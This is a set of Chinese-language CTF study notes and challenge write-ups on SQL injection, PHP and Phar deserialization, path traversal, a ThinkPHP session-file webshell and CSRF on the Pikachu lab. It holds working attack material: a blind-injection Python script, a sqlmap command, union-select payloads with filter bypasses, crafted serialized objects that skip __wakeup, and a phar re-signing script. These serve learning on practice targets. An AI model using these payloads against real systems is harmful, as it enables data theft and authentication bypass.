(1)SQL注入
[NSSRound#1 Basic]sql_by_sql
登錄界面
嘗試二次注入覆蓋 admin 用戶,但是發現注釋符 # 被過濾了,--可以
?但是無效了?
奧原來是密碼輸錯了
?然后進行修改密碼,修改以后就可以登錄admin賬戶
查詢按鈕也不知道是不是注入點
id=1 為exist,id=0 沒有
搞了半天看他們說這個不是mysql,而是sqlite
?
?方法1:
在 /query 下盲注查詢
import requests
import stringstr = string.ascii_letters + string.digitsurl = "http://node4.anna.nssctf.cn:28926/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZjfMvg.GIZuH3fe_fhe_TTllzNnIvaVWpo'}if __name__ == "__main__":name = ''for i in range(0,100):char = ''for j in str:#表+字段#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)#數據payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)data = {"id": payload}r = s.post(url=url, data=data, headers=headers)#print(r.text)if "exist" in r.text:name += jprint (j, end='')char = jbreakif char == '%':break
方法2:
直接sqlmap跑
sqlmap -u "http://node4.anna.nssctf.cn:28040/query" --data="id=1" --cookie="Hm_lvt_648a44a949074de73151ffaa0a832a" -T flag -C flag --dump
查詢參數和cookie值不能搞錯?
?【SWPUCTF 2021 新生賽】ez_sql
提示安全的傳參即POST傳參
得到一個假的flag
傳參 1'? 報錯,看引號部分是字符型注入
把引號注釋掉又恢復正常了
注意這里我發現注釋符 --+ 和? --? 都被過濾掉了
誒嘿,在判斷列數時發現我 order by 被它截斷了
說明or被過濾了 ,而且,它給我空格也刪了(過濾了)
那就要找繞過方法了
去網上找了一下
替換 order by 的,用 group by:
替換空格的,用 /**/ :
替換后繼續查詢,發現繞過
加第2列
3列
第4列就沒有了
所以總的只有三列
接下來聯合查詢
結果 union 也被過濾了
雙寫union繞過
但是發現沒有返回我想要的信息,這樣的話就會想到之前的報錯信息提到的LIMIT子句:
也就是說LIMIT是表示所在頁數,這樣的話我換一頁試試:limit 1,1
哦豁,可以看到返回位數是第2列和第3列,但要注意的是第三列前提示的才是True flag,所以應該查詢第3列
給? database()? 換個位:
得到數據庫名 NSS_db
接下來爆表名
說明又有字符被過濾了
仔細一看就是 information少了or嘛
進行雙寫繞過,但是發現語句最后被截斷了,
歐歐歐原來是忘了加括號(加了括號才代表查詢的是第3列的表名,和不加括號是完全不一樣的)
加括號:
歐喉,返回長度超過一行
這個我熟啊,我記得是有這么個東西:
使用聚合函數 group_concat 來將多行數據合并為一行(用它包裹住table_name即可)
包裹執行
得到兩個表名 NSS_tb? users
接下來查列名
查具體數據
得到flag
ok,恭喜自己又掉進出題佬的圈套(提交了好幾次發現還是不正確)
后來才意識到被騙了 ,true flag反而是false,而真正的flag應該在Flag:這一欄
emmm我真的是,怎么這么多坑
但是發現僅僅只替換為第2列回顯時任然是一樣的flag,可能是兩列目錄不一樣,所以光換位還不行,需要換位重新做一遍。。
做就做誰怕誰
可以看到數據庫名是一樣的:
表名也是一樣的 :
耶?怎么列名也一樣??? :
這樣的話就說明是目錄查錯了(flag根本不在flll444g目錄下)
試試Secr3t
這次該對了吧 昂?
?[LitCTF 2023]這是什么? SQL! 注一下!
搜什么
先注入萬能密碼試試
發現只是切換了頁面,并沒有報錯或其他提示,說明是盲注
?試了一些字符發現照樣只是換了頁面,沒有進入,應該是有字符被過濾了
那就先注個簡單點的1,再進行fuzz模糊測試判斷一下哪些字符是被過濾了
進行爆破
好像看似也沒過濾什么
結果搞了半天不是盲注,下滑鼠標發現SQL語句和回顯
那這樣就沒什么難度了
注1看看
可以看到一個嵌套數組 ,正確排版應該是這樣:
Array ([0] => Array ([username] => tanji[password] => OHHHHHHH)
)
這個可以不用管它,注意到包裹1的是六個括號(((((()))))),這樣就需要把括號給閉合掉
沒有結果了,加個注釋符注釋掉后面6個反括號又有結果了
(由于題目有稍不雅的圖,被屏蔽了,所以改了截一半)
判斷列數
第3列無結果,說明只有兩列
聯合查詢
發現返回結果有點長,應該是id=1的值和聯合查詢均返回了,那把id=1的值個影藏掉,看著有點費眼睛(id=1改為-1)
?
這次就只返回聯合查詢的值了
繼續查數據庫名
注意到username是第1列返回,psassword是第2列返回
猜測flag應該在password下,所以數據庫名查第2列
得到數據庫名ctf
繼續查表名
-1))))))union select 1,(select table_name from information_schema.tables where table_schema='ctf')#
得到表名users
接續查列名
但是查了好幾次都是沒有返回值
我還以為是過濾了column,但是測試過后發現并沒有
再后來想到有可能列名比較多,不是沒有返回值而是返回值太多導致無法顯示,所以用group_concat來輸出所有,然后的確出了很多列名
查詢第一個數據,但發現是無用的flag
接下來這個奧:
查詢所有數據庫:
id=-1)))))) union select 1,schema_name from information_schema.schemata #
?執行
我嘞個,有點多,還好吧,注意到ctftraining這個數據庫
直接從頭查詢
又忘了group_concat
得到flag了吧終于
取數據!!!
特喵的,到這一步又忘了一個東西,雖然列名叫flag,但表中的字段可能包含數據庫名而不僅僅是表名,所以應該差ctftraining.flag?
最后終于是出了
[GXYCTF 2019]BabySqli
注入單引號報錯
是說明閉合方式是雙引號嗎
?但是打開F12鍵發現一段注釋
不知道什么加密用隨波逐流跑一下看看
然后發現base32的結果是base64
?
解一下發現一段語句
看樣子是查詢語句
而用萬能語句發現報錯,說明可能有過濾字符
fuzz模糊測試搞了一下,發現過濾了 or、xor、 oorr、concat()、order、format()、ord、for
但是我覺得還不全,又找了一下還有 rand() 等
并且發現用戶名為 admin 時返回 wrong pass,反正就是思路就是 admin
用聯合查詢猜解字段數(剛學的方法sql注入)
admin' union select 1,2#
?
有用
繼續?
admin' union select 1,2,3#
?
說明字段數為3
再猜解username字段數即可
1' union select 'admin',2,3#
?
用戶錯誤,說明username不在一個字段
后面不會了,多虧大佬指導:
跳墻網-IT技術教程搬運工-官網首頁
就是插入一條臨時數據admin,然后密碼為md5加密后的1,密碼為1,就可以登錄了
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
?
(2)PHP反序列化
之前沒學過PHP反序列化,現在系統學一遍
通俗的講PHP反序列化是將字符串還原為變量的過程。這個字符串通常是由PHP的 serialize() 函數生成的,它包含了變量的類型和值。
序列化?
序列化是將變量轉換為字符串的過程,方便存儲和傳輸。(serialize)
例如:
$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo $serialized;
輸出:
a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}
解釋一下這個輸出:
a? :表示這是一個數組(arry)
2? :表示這個數組中有兩個元素
{......} :表示數組內容
s? :表示這是一個字符串(string)
4? :表示這個字符串有4個字符
"name" :字符串的內容
;? : 第一個和第三個分號表示鍵的結束
;? : 第二個和第四個分號表示值的結束
i? :表示這是一個整數(integer)
這是一個包含兩個元素的數組,第一個元素的鍵是 name ,值是 China ;第二個元素的鍵是 age ,值是 76
總的來說這里 serialize() 函數將 $data 數組轉換為一個字符串。
反序列化
反序列化是將序列化的字符串還原為PHP變量的過程。(unserialize)
還是上面的例子:
$serialized = 'a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}';
$data = unserialize($serialized);
print_r($data);
?輸出:
Array
([name] => China[age] => 76
)
這里,unserialize() 函數將字符串還原為數組。
兩者結合一下:
// 序列化數組
$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo "序列化后的字符串:\n";
echo $serialized . "\n";// 反序列化字符串
$unserialized = unserialize($serialized);
echo "反序列化后的數組:\n";
print_r($unserialized);
?輸出:
序列化后的字符串:
a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}
反序列化后的數組:
Array
([name] => China[age] => 76
)
反序列化的主要作用是將存儲或傳輸的字符串還原為 PHP 變量,方便后續操作。它常用于以下場景:
存儲數據:將復雜的數據結構(如數組、對象)序列化后存儲到文件或數據庫中,需要時再反序列化還原。
網絡傳輸:將數據序列化后通過網絡傳輸,接收方反序列化還原。
而在CTF賽題中,PHP反序列化漏洞是一個常見的攻擊點,主要作用是利用反序列化過程中的漏洞來執行惡意代碼或繞過安全限制
其中代碼執行主要指觸發對象中的魔術方法,( _toString()、_destruct()、_wakeup() 等)從而執行惡意代碼。
繞過安全限制:通過構造特定的序列化字符串,繞過應用程序的安全檢查。
NSSCTF
[SWPUCTF 2021 新生賽]ez_unserialize
打開沒題目
dirsearch掃了一下,發現robots.txt 和 flag.php
都訪問一下
flag.php沒有什么
?robots.txt 有個提示
是源碼
<?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?>
主要內容是 _construct() :構造函數,初始化 $admin
和 $passwd
?;
_destruct():?析構函數,當對象被銷毀時觸發。
其中 _destruct() 方法中有一個條件判斷:?如果 $admin === "admin"
且 $passwd === "ctf"
,則包含 flag.php
文件并輸出 $flag
否則,輸出 $admin
和 $passwd
,并提示 "Just a bit more!"。
目標是構造一個序列化字符串,使得反序列化后的對象滿足這個條件。
解題思路:
1、構造對象
創建一個 wllm 類的對象,其中 $admin 和 $passwd 的值分別為? 'admin' 和 'ctf'?
然后將這個對象序列化為字符串
2、發送序列化字符串
將序列化后的字符串作為 $_GET['p'] 參數傳遞給腳本
腳本會調用 unserialize() 函數,反序列化字符串并觸發 _destruct() 方法。
實操:
構造對象并序列化
腳本構造
$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";
$serialized = serialize($obj);
echo $serialized;
運行輸出序列化字符串:
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
這樣payload直接打就可以了
[SWPUCTF 2022 新生賽]ez_ez_unserialize
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}
做了之前的這題也照葫蘆畫瓢
嘗試調用 $_REQUEST['x'] ,如果這個參數被設置就對其進行反序列化,但會觸發 _wakeup() ,將x重新賦值,最后發序列化觸發 _destruct() 將最終的文件輸出,那就構造pop鏈
<?php
class X
{public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>
?既然要繞過wakeup函數,主要序列化中的成員數大于實際成員數,就可以繞過了
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
?然后傳參就可以了
[極客大挑戰 2019]PHP?
題目提示直接上dirsearch掃一下
數據量太大,掃了三分鐘才出來
www.zip 源碼
發現有一個flag但提交不正確
又發現了序列化函數,嘗試找出反序列化端口
?看一下 index.php?
補充知識點:
常用的內置方法:
__construct():創建對象時初始化,當一個對象創建時被調用
__wakeup() 使用unserialize時觸發
__sleep() 使用serialize時觸發
__destruction():結束時銷毀對象,當一個對象銷毀時被調用
?再看class.php幾個函數,主要驗證username是admin,password是100
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
直接new username為admin,password為100的對象并且序列化。我們直接在class.php源碼中加上序列化,得到序列化后的字符串。?
構造條件序列化
<?php include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}} } $admin=new Name('admin',100); $admin1=serialize($admin); echo $admin1 ?>
得到字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
但是還有一個函數,__wakeup()會將username重新賦值為“guest”,所以我們需要想辦法將__wakeup()函數繞過。查找資料后發現大佬說
在反序列化字符串時,屬性個數的值大于實際屬性個數時,會跳過 __wakeup()函數的執行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
繞過:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
所以最后傳參?
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
[網鼎杯 2020 青龍組]AreUSerialz 1
直接看源碼
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
按照常規方法,首先,我們先將代碼復制到本地進行序列化構造,
根據代碼邏輯分析,咱們可知? ? function __construct() {
? ? ? ? $op = "1";
? ? ? ? $filename = "/tmp/tmpfile";
? ? ? ? $content = "Hello World!";
? ? ? ? $this->process();
? ? }
_destruct()析構函數當對象被銷毀時會被自動調用;所以當反序列化函數調用時,會觸發這個
分析此方法內的代碼邏輯,當我們需要它正確輸出flag時此魔術方法調用后會接著正確調用此對象中的process()方法和output()方法,所以write()方法也可以刪除不用看, protected $content屬性也可直接刪了。
根據構造函數is_valid($s) 可知,
$s的值ASCII碼范圍得在32<=$s<=125;
再根據構造函數read()可知,
$filename值基本為flag.php
根據上述信息,構造第一個序列化值得到:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
php將屬性類型換成public
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
? ? public $op=2;
? ? public $filename="flag.php";
}
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";
但是發現只有一個result
查看源代碼就可以了
(3)Phar反序列化
[NSSRound#4 SWPU]1zweb
文件上傳還有個查詢按鈕
剛開始嘗試文件上傳了幾次發現不行?
用dirsearch掃了一下
但是 /upload 禁止訪問
突然注意到文件查詢的按鈕,試一試
后面得到提示查詢 index.php 文件
好像不全,查看一下源代碼
這里可以看到,又php的魔術方法,有對flag的正則匹配限制,但是沒有 unserialize() 函數,猜想應該是利用了phar協議的反序列化來拿flag
通過代碼審計,我們可以看到,這里有php的魔術方法,有對flag的正則匹配限制,但是這里沒有unserialize()函數,猜想這里應該是利用了phar協議的反序列化來拿flag
Phar之所以能反序列化,是因為Phar文件會以序列化的形式存儲用戶自定義的meta-data,PHP使用phar_parse_metadata在解析meta數據時,會調用php_var_unserialize進行反序列化操作。
先對文件后綴限制,然后是對phar文件里的_HALT_COMPILER()函數;進行匹配,這個函數是phar文件的標志性函數,可以繞過,例如我們可以將phar文件用linux的gzip進行壓縮來加密它,以此來繞過此檢測,在上面的魔術方法的圖里看到了wakeup函數,在php低版本里,可以通過修改屬性個數大于實際屬性個數,來繞過wakeup函數,但是因為phar文件生成時是自動進行序列化的,所以我們我們需要修改文件,phar文件生成時會進行簽名,來防止被修改,所以修改文件后我們需要對phar文件重新簽名,phar文件有幾種不同的加密簽名選擇,默認簽名方法應該是要看生成phar文件的php版本
可以構造惡意phar文件(生成文件),再修改文件(可以通過winhex修改屬性個數)
再利用修復簽名的python腳本將簽名修復
python腳本
from hashlib import sha256
with open('test.phar', 'rb') as file:f = file.read()
s = f[:-28] # 獲取要簽名的數據
h = f[-8:] # 獲取簽名類型和GBMB標識
newf = s + sha256(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)
with open('newtest.phar', 'wb') as file:file.write(newf) # 寫入新文件
可以用kali對phar文件進行壓縮(kali自帶gzip) 不壓縮的話phar的文件頭還是會被識別出來。
然后隨便修改白名單的文件后綴上傳就好了
?非預期:
這題由于出題人沒有限制對文件讀取,可以用目錄遍歷直接讀取flag /flag。
[網鼎杯 2020 青龍組]filejava 1
文件上傳嗎?
不會的,隨便上傳一個文件,發現它會返回一個文件的下載地址
抓個包看看
filename聯想到路徑穿越,../ 看看現在在哪里
?是java,完了不會java
但是數了一下有9個,就用9個 ../ 去看配置文件
[GYCTF2020]EasyThinking
按鈕有點多
該說不說,這題源碼是真的難找
dirsearch先是掃出來 /.htaccess 文件
但429
去掉 .?
?
還有個 member
?
?
還有 config/app.php
?
?
還有一堆東西,但是感覺都沒用
?
?
但是注意到 www.zip
?
看一下,因為通常源碼都在里面
?下載解壓
有點 多
因為剛剛掃到了member,所以注意到目錄?web\app\home\controller?下有一個 Member.php
是網頁源碼:?
<?php
namespace app\home\controller;use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;class Member extends Base
{public function index(){if (session("?UID")){$data = ["uid" => session("UID")];$record = session("Record");$recordArr = explode(",", $record);$username = Db::name("user")->where($data)->value("username");return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);}return view('member/index',["username" => "Are you Login?","record_list" => ""]);}public function login(){if (Request::isPost()){$username = input("username");$password = md5(input("password"));$data["username"] = $username;$data["password"] = $password;$userId = Db::name("user")->where($data)->value("uid");$userStatus = Db::name("user")->where($data)->value("status");if ($userStatus == 1){return "<script>alert(\"該用戶已被禁用,無法登陸\");history.go(-1)</script>";}if ($userId){session("UID",$userId);return redirect("/home/member/index");}return "<script>alert(\"用戶名或密碼錯誤\");history.go(-1)</script>";}else{return view('login');}}public function register(){if (Request::isPost()){$data = input("post.");if (!(new Auth)->validRegister($data)){return "<script>alert(\"當前用戶名已注冊\");history.go(-1)</script>";}$data["password"] = md5($data["password"]);$data["status"] = 0;$res = User::create($data);if ($res){return redirect('/home/member/login');}return "<script>alert(\"注冊失敗\");history.go(-1)</script>";}else{return View("register");}}public function logout(){session("UID",NULL);return "<script>location.href='/home/member/login'</script>";}public function updateUser(){$data = input("post.");$update = Db::name("user")->where("uid",session("UID"))->update($data);if($update){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失敗"]);}public function rePassword(){$oldPassword = input("oldPassword");$password = input("password");$where["uid"] = session("UID");$where["password"] = md5($oldPassword);$res = Db::name("user")->where($where)->find();if ($res){$rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);if ($rePassword){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失敗"]);}return json(["code" => 0, "msg" => "原密碼錯誤"]);}public function search(){if (Request::isPost()){if (!session('?UID')){return redirect('/home/member/login'); }$data = input("post.");$record = session("Record");if (!session("Record")){session("Record",$data["key"]);}else{$recordArr = explode(",",$record);$recordLen = sizeof($recordArr);if ($recordLen >= 3){array_shift($recordArr);session("Record",implode(",",$recordArr) . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}}session("Record",$record . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}else{return View("search");}}
}
里面發現了session:ThinkPhP6 會默認在 /runtime/session 創建一個sess_xxxx格式的session文件,這里的xxxx就是PHPSESSID(32位),而文件的內容就是session的內容,也就是key的內容。(不知道和內個PHP隨機種子一不一樣)并且發現了關鍵代碼:
if ($userId){session("UID",$userId);return redirect("/home/member/index");}
?所以這里把uid寫入當前的session中,就是說本來構造的PHPSESSID=1111111111111111111111111111.php的session是沒有uid的,沒辦法實現search功能,這里可以把uid賦給session,即可以在搜索頁面寫入馬(都要放包那里修改并且放包,這樣才會上傳馬)
?
?
(4)CSRF
CSRF漏洞其實就是攻擊者利用用戶在已登錄的情況下,通過在受信任網站上執行一些未經用戶授權的操作。
詳細來說就是
黑客控制一個網站B >> 用戶登錄訪問網站A >> 網站A驗證用戶賬號和密碼,成功后生成一個session ID,并返回給客戶端(用戶)存儲在瀏覽器中 >> 用戶在客戶端新建訪問黑客控制的網站B >> 網站B自動觸發要求客戶端訪問網站A >> 客戶端通過網站B中的鏈接訪問網站A >> 網站A檢驗session ID的合法性(如果合法就執行相應的操作)?
2、CSRF漏洞的原理
所以其實CSRF漏洞的原理基本可以分為四個部分:
(1)用戶登錄與身份驗證
用戶在目標網站進行登錄,網站通過 Cookie 或 Token 等方式對用戶進行身份驗證,并在后續請求中用于識別用戶身份。
(2)攻擊者構造惡意鏈接
攻擊者惡意構造一個包含惡意操作的鏈接(比如轉賬到攻擊者賬戶的鏈接)
(3)誘導受害者(這里的用戶)訪問
攻擊者通過各種手段,如發送惡意郵件、在社交平臺發布誘人的信息等,誘導受害者(用戶)去點擊這個惡意鏈接。
(4)目標網站執行惡意操作
目標網站在接收到請求后,結合附帶的身份驗證信息,會認為這個請求來自合法的用戶,所以會執行鏈接中的惡意操作。
3、CSRF漏洞的危害
(1)篡改目標網站上的用戶數據
攻擊者可以修改用戶的個人信息
(2)盜取用戶隱私數據
攻擊者可以訪問用戶的私密信息
(3)作為其他攻擊向量的輔助攻擊方法
CSSRF可以與其他攻擊手段(如XSS、SQL注入)結合,實現更復雜的攻擊
(4)傳播CSRF蠕蟲
可以利用CSRF漏洞傳播惡意代碼
4、常見類型的CSRF攻擊
GET類型
攻擊者通過構造惡意鏈接,誘導用戶點擊,從而觸發 GET 請求
POST類型
攻擊者通過構造惡意表單,誘導用戶提交,從而觸發 POST 請求
短連接偽裝
攻擊者將惡意鏈接轉換為短鏈接,以提高用戶點擊的可能性
?這里建議使用各平臺如NSS上的Pikachu,以防自己本地搭建的靶場有問題(我自己搭的就抓不到包)
Pikachu
Pass 1
來到 Pikachu 靶場的第一關 GET
先登錄
旁邊點提示有提供用戶
?
隨便一個用戶登錄,密碼都是123456
然后開啟代理修改個人信息
現在模擬用戶操作想要修改所有信息為11
這個時候來到 bp 抓到的包里面就能看到我們發起的請求
可以看到 edit
現在模擬攻擊者構造惡意的 url
把請求的 url 復制過來到瀏覽器
假如攻擊者現在把 url 中的性別 sex 改為 22,再把前面的 url 拼接上去
這樣攻擊者的惡意 url 就已經構造完成
我們先回去看一下原頁面的 cookie?
可以看到這個時候瀏覽器存儲的 cookie 里已經有了 PHPSESSION (相當于有了用戶的一個憑證)
所以只要含有這個 cookie 的瀏覽器(即用戶的瀏覽器)識別到我們去請求前面的這個ip 和對應的端口,就會把這個 cookie 信息帶過去(就不會再讓用戶登錄)
比如剛剛我們已經構造好了 url 現在只需要模擬用戶點擊鏈接訪問即可
可以發現雖然用戶想要更改的信息全是11,但經過攻擊者構造的 url 修改了性別之后,性別卻并不是11,而是攻擊者指定的 22 了
假如這次我們換一個沒有用戶 cookie 的瀏覽器點擊惡意鏈接
先在用戶端修改所有信息為 22
然后抓包構造惡意 url,用沒有用戶 cookie 的瀏覽器模仿用戶點擊
可以發現這次雖然點擊(訪問)了惡意鏈接,但是信息沒有被修改,并且要求登錄
這就是因為這個瀏覽器沒有目標用戶 cookie 的原因
假如我們又使用剛剛含有用戶 cookie 的火狐瀏覽器訪問惡意鏈接,就會發現性別又被成功修改為 33